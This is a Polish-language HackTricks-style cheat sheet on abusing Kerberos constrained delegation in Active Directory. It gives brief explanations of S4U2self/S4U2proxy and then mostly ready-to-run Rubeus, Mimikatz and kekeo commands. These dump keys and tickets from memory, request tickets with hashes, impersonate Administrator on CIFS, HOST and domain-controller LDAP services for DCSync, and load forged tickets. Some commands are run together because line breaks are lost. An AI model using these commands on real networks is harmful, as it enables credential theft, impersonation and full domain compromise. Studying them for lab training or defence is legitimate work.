Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y doHackTricksiHackTricks Cloudrepozytoriów GitHub.
Ograniczona delegacja
Dzięki temu administrator domeny może zezwolić komputerowi na udawanie użytkownika lub komputera wobec usługi na danym urządzeniu.
Usługa dla użytkownika do samego siebie (S4U2self): Jeśli konto usługi ma wartość userAccountControl zawierającą TRUSTED_TO_AUTH_FOR_DELEGATION (T2A4D), może ono uzyskać TGS dla samego siebie (usługi) w imieniu dowolnego innego użytkownika.
Usługa dla użytkownika do pełnomocnika(S4U2proxy): Konto usługi może uzyskać TGS w imieniu dowolnego użytkownika dla usługi ustawionej w msDS-AllowedToDelegateTo. Aby to zrobić, najpierw musi uzyskać TGS od tego użytkownika dla samego siebie, ale może użyć S4U2self, aby uzyskać ten TGS przed żądaniem drugiego.
Uwaga: Jeśli użytkownik jest oznaczony jako „Konto jest poufne i nie można go delegować” w AD, nie będziesz mógł go udawać.
Oznacza to, że jeśli zdobędziesz skrót hasła usługi, możesz udawać użytkowników i uzyskać dostęp w ich imieniu do skonfigurowanej usługi (możliwe privesc).
Co więcej, nie będziesz mieć dostępu tylko do usługi, którą użytkownik może udawać, ale także do dowolnej innej usługi, ponieważ nie jest sprawdzana nazwa SPN (żądana nazwa usługi), tylko uprawnienia. Dlatego, jeśli masz dostęp do usługi CIFS, możesz również uzyskać dostęp do usługi HOST, używając flagi /altservice w Rubeus.
Ponadto, dostęp do usługi LDAP na DC jest potrzebny do wykorzystania DCSync.
# The first step is to get a TGT of the service that can impersonate others## If you are SYSTEM in the server, you might take it from memory.\Rubeus.exe triage.\Rubeus.exe dump/luid:0x3e4/service:krbtgt/nowrap# If you are SYSTEM, you might get the AES key or the RC4 hash from memory and request one## Get AES/RC4 with mimikatzmimikatzsekurlsa::ekeys## Request with aestgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap
# Request with RC4tgt::ask/user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local/rc4:8c6264140d5ae7d03f7f2a53088a291d.\Rubeus.exe asktgt/user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f/outfile:TGT_websvc.kirbi
Istnieją inne sposoby na uzyskanie biletu TGT lub RC4 lub AES256 bez bycia SYSTEM w komputerze, takie jak błąd drukarki i nielimitowane przekazywanie, przekazywanie NTLM i nadużycie usługi certyfikatów Active Directory.
Posiadając ten bilet TGT (lub zahaszowany), możesz przeprowadzić ten atak bez kompromitowania całego komputera.
Używając Rubeus
#Obtain a TGS of the Administrator user to self.\Rubeus.exe s4u/ticket:TGT_websvc.kirbi/impersonateuser:Administrator/outfile:TGS_administrator#Obtain service TGS impersonating Administrator (CIFS).\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS
#Impersonate Administrator on different service (HOST).\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST
# Get S4U TGS + Service impersonated ticket in 1 cmd (instead of 2).\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /user:dcorp-adminsrv$ /ticket:TGT_websvc.kirbi /nowrap
#Load ticket in memory.\Rubeus.exe ptt/ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local
kekeo + Mimikatz
#Obtain a TGT for the Constained allowed usertgt::ask/user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local/rc4:8c6264140d5ae7d03f7f2a53088a291d#Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL
#Load the TGS in memoryInvoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'